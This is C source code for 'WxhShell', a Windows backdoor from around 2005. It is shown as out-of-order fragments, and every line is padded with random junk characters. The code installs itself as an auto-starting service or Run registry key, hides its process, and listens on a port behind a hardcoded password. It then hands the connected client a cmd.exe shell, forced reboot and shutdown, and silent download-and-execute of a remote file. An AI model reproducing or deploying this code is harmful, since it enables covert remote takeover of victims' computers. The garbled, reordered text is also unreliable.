    closesocket(wsh); FN) $0  
    ExitThread(0); b*Q&CL  
    } GNJj=1Lsd  
    break; R_S.tT!  
    } ]:/Q]n^  
  // 关机 01(AK%e  
  case 'd': { *s iFj CN<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t5IEQ2  
    if(Boot(SHUTDOWN)) iMRwp+$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ok\7y-w^  
    else { njA#@fU  
    closesocket(wsh); Nu~lsWyRI5  
    ExitThread(0); T37XBg H  
    } %BB%pC  
    break; TrR8?-  
    } w917N 4$  
  // 获取shell |)/aGZ+  
  case 's': { sds"%]r g  
    CmdShell(wsh); QoH6  
    closesocket(wsh); t#eTV@-  
    ExitThread(0); !m?-!:  
    break; d9|<@A  
  } 3|Xyl`i4o  
  // 退出 tcog'nAz  
  case 'x': { R0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0NX,QD  
    CloseIt(wsh); b9dLt6d  
    break; 0%I=d  
    } I4?5K@a  
  // 离开 D*|Bb?  
  case 'q': { 4x[S\,20  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ayF\nk4b  
    closesocket(wsh); t}/( b/VD  
    WSACleanup(); 2P{Gxz<#  
    exit(1); [Cv/{f3]u{  
    break; I?G :p+  
        } YQA ,f#  
  } Q#[9|A9  
  } W-lN>]5}m  
fZA4q0  
  // 提示信息 <dhM\^ [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c6]D-YNF G  
} hp L;bM'  
  } ZLAy- 9^Y  
R@k&SlL'`  
  return; by/jYg)+  
} /%A*aGyIc  
ZbAcO/  
// shell模块句柄 Nf1-!u7  
int CmdShell(SOCKET sock) k7usMVAA  
{ a-L;*  
STARTUPINFO si; *,WU?tl&  
ZeroMemory(&si,sizeof(si)); UFb )AnK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / FEVmH?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L8#5*8W6  
PROCESS_INFORMATION ProcessInfo; !f&g-V  
char cmdline[]="cmd"; @/-\k*T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G {%LB}2  
  return 0; b(O3@Q6[  
} y:qUn!3  
7o5BXF  
// 自身启动模式 j]/RC(;?  
int StartFromService(void) fMyti$1~  
{ oIj#>1~c%  
typedef struct @@ %.t|=  
{ QWHug:c  
  DWORD ExitStatus; 3"KCh\\b  
  DWORD PebBaseAddress; 7g}w+p>  
  DWORD AffinityMask; gQ1;],_  
  DWORD BasePriority; t" Z6[XG  
  ULONG UniqueProcessId; :${HQd+  
  ULONG InheritedFromUniqueProcessId; zu|\fP  
}   PROCESS_BASIC_INFORMATION; (n9g kO&8"  
`~CQU  
PROCNTQSIP NtQueryInformationProcess; HJYScwjQ;`  
HBx=\%;n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z^MNf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !^Y(^RS@  
6MdiY1Lr!K  
  HANDLE             hProcess; agW@ {c  
  PROCESS_BASIC_INFORMATION pbi; ysf~|r4s  
W'+:'_{j:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2Dj%,gaR  
  if(NULL == hInst ) return 0; :@A9](gI  
_8UDT^?8,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M%;hB*9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L.0mk_&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]G< Vg5  
a]tVd#  
  if (!NtQueryInformationProcess) return 0; ':m,)G5&  
PGV/ h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |3yL&"  
  if(!hProcess) return 0; oJ|j#+Ft  
SPmq4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eb"5- 0  
ZlzjVU/E  
  CloseHandle(hProcess); ptxbDzOz  
JKGe"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jd^,]  
if(hProcess==NULL) return 0; GKc`xIQ  
Qtv&ijFC  
HMODULE hMod; i5?q,_  
char procName[255]; R>mmoG}MQ[  
unsigned long cbNeeded; s'J:f$flS  
g:Xhw$x9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :\7X}n*&  
<.izVD4/Gg  
  CloseHandle(hProcess); *QQzvhk  
{v ;&5!s  
if(strstr(procName,"services")) return 1; // 以服务启动 o:P}Wg/NK  
.rqhi  
  return 0; // 注册表启动 6 EC*   
} vbe|hO""  
6?~"V  
// 主模块 1rF]yi:X  
int StartWxhshell(LPSTR lpCmdLine) !*bMa8]*  
{ q}#6e]t  
  SOCKET wsl; "v({ ,  
BOOL val=TRUE; $#pP Z  
  int port=0; KRMQtgahc  
  struct sockaddr_in door; OCaq3_#tZ  
x%!s:LVX  
  if(wscfg.ws_autoins) Install(); f-G :uI_  
h2J/c#Qvh  
port=atoi(lpCmdLine); 8~z~_TD6m@  
3! oi+_  
if(port<=0) port=wscfg.ws_port; dD|OSB7 I7  
^pF&` 2eD  
  WSADATA data; hD*SpVI U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YhE+W  
WE.{p>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P0j8- I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p(`6hWx  
  door.sin_family = AF_INET; ~T,c"t2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }"PU%+J  
  door.sin_port = htons(port); Df<xWd2  
(I{rLS!o,L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZE=Sp=@)j  
closesocket(wsl); +kO!Xc%P&  
return 1; (UvM@]B  
} q[W 0 N >  
:hFIl0$,"3  
  if(listen(wsl,2) == INVALID_SOCKET) { 4Vi`* !  
closesocket(wsl); 1A G<$d5U|  
return 1; $ig0j`  
} DiwxXqY  
  Wxhshell(wsl); T)TfB(  
  WSACleanup(); 8xV9.4S  
|G,tlchprs  
return 0; "(z5{z?S  
vyX\'r.~7  
} r6} |hpJ8  
Et/\xL  
// 以NT服务方式启动 @As[k2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c[4i9I3v  
{ [~#WG/!:  
DWORD   status = 0; _R13f@NWB:  
  DWORD   specificError = 0xfffffff; }v!$dr,j '  
Vjp1RWb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *4+"Lh.KS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C=)A6 ;=se  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W=Mb  
  serviceStatus.dwWin32ExitCode     = 0; v)l8@.  
  serviceStatus.dwServiceSpecificExitCode = 0;  6S*e xw  
  serviceStatus.dwCheckPoint       = 0; ?DQsc9y  
  serviceStatus.dwWaitHint       = 0; 2s&*  
J^}V|#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +)<wDDC_  
  if (hServiceStatusHandle==0) return; Ix!Iw[CNd  
L>W'LNXCv  
status = GetLastError(); n%C>E.Tq  
  if (status!=NO_ERROR) NS%xTLow-  
{ vss(twg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : $Y9jR  
    serviceStatus.dwCheckPoint       = 0; E2@65b$  
    serviceStatus.dwWaitHint       = 0; Q<'nE  
    serviceStatus.dwWin32ExitCode     = status; 3U.88{y  
    serviceStatus.dwServiceSpecificExitCode = specificError; &U raUl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oe |)oTv  
    return; =2zJ3&9  
  } hp* /#D  
E.ly#2?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ceM6{N<_U  
  serviceStatus.dwCheckPoint       = 0; |_*O'#jx  
  serviceStatus.dwWaitHint       = 0;  TYmP)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Yicg6:  
} CBOi`bEf  
L,`Lggq-  
// 处理NT服务事件,比如:启动、停止 ;8*`{F[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9XyYHi  
{ P'*)\faw  
switch(fdwControl) V=qwwYz~  
{ K[Kh&`T  
case SERVICE_CONTROL_STOP: cc&axc7I  
  serviceStatus.dwWin32ExitCode = 0; Xg SxN!I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !\i\}feb  
  serviceStatus.dwCheckPoint   = 0; {7;8#.S72  
  serviceStatus.dwWaitHint     = 0; UXugRk%d  
  { V_RTI.3p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SHbtWq}T  
  } RwPN gRF  
  return; &8>IeK {I  
case SERVICE_CONTROL_PAUSE: )Xak JU^o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^m"u3b4  
  break; e2ilB),  
case SERVICE_CONTROL_CONTINUE: feNdMR7eM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zj`v?#ET  
  break; F\AX :  
case SERVICE_CONTROL_INTERROGATE: 04'~ta(t  
  break; 'wI"Bo6e  
}; O<"}|nbmQ[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7,|c  
} O QT;zqup  
Fpa ;^F  
// 标准应用程序主函数 #u"k~La  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6morum  
{ 2f:Eof(B  
}i`PGx  
// 获取操作系统版本 `V"sOTb  
OsIsNt=GetOsVer(); SWQ5fcPu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tqeZ#w7  
"D'B3; uWK  
  // 从命令行安装 I8/DR z$A  
  if(strpbrk(lpCmdLine,"iI")) Install(); n;U`m$vL%  
Tekfw  
  // 下载执行文件 te !S09(  
if(wscfg.ws_downexe) { <]4i`6{v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;F#7Px(q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8J~1-;  
} !Mim@!5M  
&f^l ^K 5:  
if(!OsIsNt) { Jn3 An  
// 如果时win9x,隐藏进程并且设置为注册表启动 *l;B\=KR  
HideProc(); y^Kph# F"  
StartWxhshell(lpCmdLine); 0B&Y ]*  
} 1~ t{aLPz  
else =ng\ 9y[;D  
  if(StartFromService()) ;D s46M-s  
  // 以服务方式启动 x{,q]u /  
  StartServiceCtrlDispatcher(DispatchTable); m-DsY  
else P=&o%K,:f  
  // 普通方式启动 J?}WQLVP'  
  StartWxhshell(lpCmdLine); 2@~M4YJf  
Z]WnG'3N  
return 0; !]fQ+*X0g  
} q7Dw _<  
o{EC&-  
iMFgmM|  
OY5OJ*   
=========================================== Wg0g/  
Ns0cgCrhX  
)+"'oY$]}  
|t) }VM%  
!x>%+&c>k  
iNWo"=J  
" \uq/x^?yo  
!$Tw^$n  
#include <stdio.h> n;p:=\uN  
#include <string.h> 0}FOV`n  
#include <windows.h> /43-;"%>  
#include <winsock2.h> "+ >SJ~  
#include <winsvc.h> ~$f;U  
#include <urlmon.h> f{i8w!O"~  
UH>F|3"d  
#pragma comment (lib, "Ws2_32.lib") a/U2xq{x  
#pragma comment (lib, "urlmon.lib") M$d%p6Cv  
?N=m<fn  
#define MAX_USER   100 // 最大客户端连接数 Cb@3M"1:  
#define BUF_SOCK   200 // sock buffer 1q3( @D5~+  
#define KEY_BUFF   255 // 输入 buffer R:AA,^Z  
1>Dl\czn  
#define REBOOT     0   // 重启 5"]~oPK  
#define SHUTDOWN   1   // 关机 P"?FnTbv[  
7Wa?$6d  
#define DEF_PORT   5000 // 监听端口 [NIlbjYH  
ELjK0pE}-  
#define REG_LEN     16   // 注册表键长度 #D9e$E(J^  
#define SVC_LEN     80   // NT服务名长度 2gjGeM  
z rv#Xa!O\  
// 从dll定义API ^6P3%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6ubL1K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fr}Eaa-{^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X_G| hx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k@D0 {z  
I3:[= ,5  
// wxhshell配置信息 (?kl$~&|  
struct WSCFG { eo!zW  
  int ws_port;         // 监听端口 6PF8 /@Nh  
  char ws_passstr[REG_LEN]; // 口令 M9f?q.Bv  
  int ws_autoins;       // 安装标记, 1=yes 0=no ror|R@;y  
  char ws_regname[REG_LEN]; // 注册表键名 %Lrd6i_j  
  char ws_svcname[REG_LEN]; // 服务名 f0SAP0M3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^*= 85iyo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0T5=W U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =!UR=Hq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /.eeO k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Xo*1Z =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <0.$'M~E  
C*te^3k>B  
}; `L5~mb;7*  
I.@hW>k  
// default Wxhshell configuration A[dvEb;r  
struct WSCFG wscfg={DEF_PORT,  \^K&vW;  
    "xuhuanlingzhe", d ~_`M0+  
    1, ;t> Z+O%  
    "Wxhshell", $BDBN_p  
    "Wxhshell", EIbXmkHl<  
            "WxhShell Service", BtdXv4V  
    "Wrsky Windows CmdShell Service", sz):oea@f@  
    "Please Input Your Password: ", 7"*|2Xq  
  1, F;!2(sPS  
  "http://www.wrsky.com/wxhshell.exe", Q U F$@)A  
  "Wxhshell.exe" G02m/8g3  
    }; LFp]7Dq  
.LRxP#B  
// 消息定义模块 3PUAH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E%TpJl'U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m&oi8 P-6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x/MZ(A%D  
char *msg_ws_ext="\n\rExit."; ^D_/=4rz8  
char *msg_ws_end="\n\rQuit."; *Sf -; U  
char *msg_ws_boot="\n\rReboot...";  <n\`d  
char *msg_ws_poff="\n\rShutdown..."; QIn/,Yd  
char *msg_ws_down="\n\rSave to "; "4j:[9vR\  
rba;&D;  
char *msg_ws_err="\n\rErr!"; v !Kw< fp|  
char *msg_ws_ok="\n\rOK!"; 1fL<&G  
qy!Ou3^  
char ExeFile[MAX_PATH]; YIp-Y}6  
int nUser = 0; wj|x:YZ*  
HANDLE handles[MAX_USER]; >7U>Yh  
int OsIsNt; j#6|V]l  
iG ,t_??  
SERVICE_STATUS       serviceStatus; \hP=-J[~C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jN+N(pIi.o  
X7|.T0{=x  
// 函数声明 QI[}(O7#6  
int Install(void); 0gF!!m  
int Uninstall(void); cM&'[CI  
int DownloadFile(char *sURL, SOCKET wsh); HT_TP q  
int Boot(int flag); Y/8K;U|  
void HideProc(void); 2o[IHO]  
int GetOsVer(void); GfyX'(ge  
int Wxhshell(SOCKET wsl); |\uYv|sT  
void TalkWithClient(void *cs); &yz&LNn'  
int CmdShell(SOCKET sock); Er:?M_ev  
int StartFromService(void); =S]a&*M  
int StartWxhshell(LPSTR lpCmdLine); Px'!;  
F[7x*-NO-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` e{BId  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B7-RU<n  
9f}XRz  
// 数据结构和表定义 dj[apuiF  
SERVICE_TABLE_ENTRY DispatchTable[] = 4*UP. r@  
{ :PnSQjV:  
{wscfg.ws_svcname, NTServiceMain}, 8C.!V =@\  
{NULL, NULL} I]J*BD#n.  
}; /=#~  
!m{2WW-  
// 自我安装 TQ1WVq }*  
int Install(void) Lg`Jp&Kg  
{ , Ut Hc]  
  char svExeFile[MAX_PATH]; cf[vf!vi  
  HKEY key; r<L#q)]  
  strcpy(svExeFile,ExeFile); 22KI]$D#f  
jV7&Y.$zF]  
// 如果是win9x系统,修改注册表设为自启动 gw3NS8 A+  
if(!OsIsNt) { Yi rC*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eE/%6g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {rkn q_;0  
  RegCloseKey(key);  8R69q:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kJ: 2;t=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZAg;q#z j  
  RegCloseKey(key); 3On JWuVfZ  
  return 0; q:HoKJv4  
    } GZ0aOpUWVq  
  } < 3 j~=-  
} ,R-Y~+!  
else { h <[+HsI  
`:-J+<`  
// 如果是NT以上系统,安装为系统服务 n*qN 29sx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j [S`^2  
if (schSCManager!=0) iTNqWU-o  
{ ?:|YGLaB  
  SC_HANDLE schService = CreateService U?U(;nSR\A  
  ( j/<??v4F4  
  schSCManager, uJ'9R`E ]1  
  wscfg.ws_svcname, 6|;0ax4:P  
  wscfg.ws_svcdisp, `f'C[a"  
  SERVICE_ALL_ACCESS, fEu9Jk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5FuK\y  
  SERVICE_AUTO_START, ?'~;Q)  
  SERVICE_ERROR_NORMAL, 1]/N2&  
  svExeFile, ,p,Du F  
  NULL,  ~B@ }R  
  NULL, cq^sq1A:  
  NULL, wt7.oKbW  
  NULL, 135Par5v  
  NULL ':;LrTc'K  
  ); Ww87  
  if (schService!=0) q?VVYZXP  
  { dV$!JTsd  
  CloseServiceHandle(schService); x9`ZO< L$  
  CloseServiceHandle(schSCManager); |qL;Nu,d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FH n,]Tfx  
  strcat(svExeFile,wscfg.ws_svcname); V}`M<A6:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *t =i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C/+nSe.  
  RegCloseKey(key); 7L{li-crI  
  return 0; p6blD-v  
    } \3 KfD'L  
  } 2v|qLf e1  
  CloseServiceHandle(schSCManager); rZ866\0  
} s}b*5@8|tA  
} 4ROWz  
[n<.fw8$b  
return 1; )b9I@)C  
} '{D%\w5{  
@c"yAy^t  
// 自我卸载 h2}am:%mC  
int Uninstall(void) *Yp qq  
{ ^X;JT=r  
  HKEY key; U3q5^{0d/  
byj[u!{  
if(!OsIsNt) { 3GWrn ,f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <<BQYU)Ig  
  RegDeleteValue(key,wscfg.ws_regname); &@'V\5G  
  RegCloseKey(key); ` t\z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pFH?/D/q  
  RegDeleteValue(key,wscfg.ws_regname); L9'-  
  RegCloseKey(key); cd"wNH-  
  return 0; w})NmaT;YF  
  } `hF;$  
} JE%i-UVH+;  
} l_sg)Vr/b  
else { v=bv@c  
ZmO' IT=Ye  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hrv),Ce  
if (schSCManager!=0) wL|7mMM,  
{ hd=j56P5P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I! ITM<Z$l  
  if (schService!=0) &.*T\3UO  
  { <\xQ7|e  
  if(DeleteService(schService)!=0) { @{de$ ODu  
  CloseServiceHandle(schService); \1khyF'  
  CloseServiceHandle(schSCManager); ]*h&hsS 0  
  return 0; h=wf>^l  
  } `QAh5r"  
  CloseServiceHandle(schService); HU.1":.;  
  } <lX:eR1  
  CloseServiceHandle(schSCManager); R^?PAHE 7  
} j<|6s,&  
} = tP$re";o  
a j_:|]j  
return 1; Rmgxf/  
} Lj-{t% }  
$ACe\R/%  
// 从指定url下载文件 >|S>J+(  
int DownloadFile(char *sURL, SOCKET wsh) dTgM"k  
{ 6 cr^<]v!  
  HRESULT hr; Uc>LFX& -B  
char seps[]= "/"; 1o)=GV1  
char *token; m4\g o  
char *file; [@s=J)H  
char myURL[MAX_PATH]; 9M19 UP&  
char myFILE[MAX_PATH]; E- [:. &  
|3W3+Rn!  
strcpy(myURL,sURL); 7vdHR\#;$  
  token=strtok(myURL,seps); qFGB'mIrFz  
  while(token!=NULL) .k|-Ks|d|  
  { jS}'cm-  
    file=token; aliQ6_  
  token=strtok(NULL,seps); \c'%4Ao  
  } 0I6499FQ  
7j{Te)"  
GetCurrentDirectory(MAX_PATH,myFILE); K-ju,4A  
strcat(myFILE, "\\"); ,$SkaTBe  
strcat(myFILE, file); <y'qo8oqF  
  send(wsh,myFILE,strlen(myFILE),0); N+[}Gb"8q  
send(wsh,"...",3,0); N)Qlkz$X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^w ]1qjGw  
  if(hr==S_OK) jBGG2[hV  
return 0; Y~}QJ+`?  
else .M`LUb"!  
return 1; SSo~.)J  
xBt4~q;#sE  
} xg4T` ])  
{!>E9Px  
// 系统电源模块 =54Vs8.  
int Boot(int flag) )OS>9 kFH  
{ C!oksI  
  HANDLE hToken; RbyF#[}  
  TOKEN_PRIVILEGES tkp; |^\ Hv5  
``/y=k/au  
  if(OsIsNt) { Fj36K6!#?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'XG:1Bpm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h7)VJY  
    tkp.PrivilegeCount = 1; 6Eij>{v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FDZeIj9uF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1'gKZB)TG7  
if(flag==REBOOT) { /,-h%gj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +YkmLD  
  return 0; v_[)FN"]Y.  
} {: Am9B  
else { _?*rtDzIM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jq=X!mT d.  
  return 0; A;b=E[i v  
} p,!fIx  
  } k,yc>3P;U  
  else { U`HXsq p}  
if(flag==REBOOT) { /[p?_EX@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wGZ>iLe:  
  return 0; m.;{ 8AM%f  
} -O>^eMWywo  
else {  rytGr9S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7/[TE  
  return 0; -d\AiT  
} JuKk"tr~RB  
} #3AYz82w  
9 kTD}" %2  
return 1; QfKR pnj(o  
} "Yc^Nc  
L5i#Kh_  
// win9x进程隐藏模块 u-]vK  
void HideProc(void) g!~-^_F  
{ tRpL0 =y  
2D\x-!l/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Y~8_+J?  
  if ( hKernel != NULL ) JMl ,  N  
  { S&gKgQD"Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .Bm^3A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #VP-T; Ahe  
    FreeLibrary(hKernel); 8ItCfbqa6  
  } ?[a7l:3-[  
|>jqH @\P  
return; RPofa+  
} 4O5n6~24  
FB?q/ _  
// 获取操作系统版本 c %6 @ z  
int GetOsVer(void) Y`E {E|J  
{ Xs.$2  
  OSVERSIONINFO winfo; &mO/u= u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EU&6 Tg  
  GetVersionEx(&winfo); ]x5(bnW x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GgZEg ?@  
  return 1; >b/k|?xP  
  else cQUH%7m  
  return 0; QiQ2XW\E  
} $\JQGic`  
A>ug'.  
// 客户端句柄模块 QI :/,w  
int Wxhshell(SOCKET wsl) +S:u[x  
{ dvrvpDoE.  
  SOCKET wsh; 5Xq.=/eX  
  struct sockaddr_in client; 8k*  
  DWORD myID; hSLwiX~  
9~Y)wz  
  while(nUser<MAX_USER) '>S8t/  
{ ` maN5)  
  int nSize=sizeof(client); Y3sNr)qss  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h>mBkJ {  
  if(wsh==INVALID_SOCKET) return 1; 7><* 9iOW  
R?={{+O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5KA FUR0  
if(handles[nUser]==0) hr$VVbOho  
  closesocket(wsh); ;c \zgs~"T  
else D!OG307P  
  nUser++; +lk\oj$S+  
  } H *z0xxa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KNUMz4  
gpO_0U4lQ]  
  return 0; ,_TH@0{   
} s$+: F$Y0  
NL>[8#  
// 关闭 socket lN= m$J  
void CloseIt(SOCKET wsh) ~8n~4  
{ eaZ)1od  
closesocket(wsh); ] _]6&PZXk  
nUser--; -h^} jP8  
ExitThread(0); =4w^)'/  
} CoKj'jA  
B[U.CAUn  
// 客户端请求句柄 ? A^3.`  
void TalkWithClient(void *cs) :g]HB ,78  
{ }fa%JN %E  
n79DS(t  
  SOCKET wsh=(SOCKET)cs; 04T*\G^:=  
  char pwd[SVC_LEN]; C6;](rN)N  
  char cmd[KEY_BUFF]; LYxlo<f  
char chr[1]; $'I$n  
int i,j; NIXcib"tG  
n<Xm%KH.  
  while (nUser < MAX_USER) { ]J"+VZ_"I  
*9U4^lJjn  
if(wscfg.ws_passstr) { Xj@    
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1rvf\[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Im \*A   
  //ZeroMemory(pwd,KEY_BUFF); fv 1!^CDia  
      i=0; +oKpA\mz  
  while(i<SVC_LEN) { +%cr?g  
U}C#:Xi>$  
  // 设置超时 ?#{2?%_  
  fd_set FdRead; T\$^>@  
  struct timeval TimeOut; LF3GVu,  
  FD_ZERO(&FdRead); >TJKH^7n  
  FD_SET(wsh,&FdRead); ^VLUZ  
  TimeOut.tv_sec=8; |Bf:pG!  
  TimeOut.tv_usec=0; Q1>Op$>h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ] l qFht  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <=GzK:4L  
/{#_Um0.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JEkIbf?=r  
  pwd=chr[0]; (qc!-Isd~[  
  if(chr[0]==0xd || chr[0]==0xa) { DoPF/m}  
  pwd=0; I5<#SW\a?  
  break; piM11W}|/  
  } p6k'Q  
  i++; dxhjPS~^Q  
    } 1wNY}3  
pl^"1Z=*  
  // 如果是非法用户,关闭 socket uD*s^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rsIPI69qJ.  
} d_?Zr`:  
}rAN2D]"}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,+5VeRyrV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #+DmH  
(A<sFw?  
while(1) { 0tm "kzy  
2KNKdV3NK  
  ZeroMemory(cmd,KEY_BUFF); HBf8!\0|/  
]bU'G$Qm&s  
      // 自动支持客户端 telnet标准   x) qHeS  
  j=0; \5pAG mgD  
  while(j<KEY_BUFF) { iJj?~\zp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i(cb&;Xx:A  
  cmd[j]=chr[0]; V;+$/>J`vB  
  if(chr[0]==0xa || chr[0]==0xd) { GyXs{*  
  cmd[j]=0; z%gtV'  
  break; c+K=pp@  
  } uJ5%JB("E  
  j++; 2BU)qv-  
    } Appz1q  
Dqcu$ V]  
  // 下载文件 e.Q K%  
  if(strstr(cmd,"http://")) { ~FrkLP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zxmI/]3+/  
  if(DownloadFile(cmd,wsh)) 3[O =2  
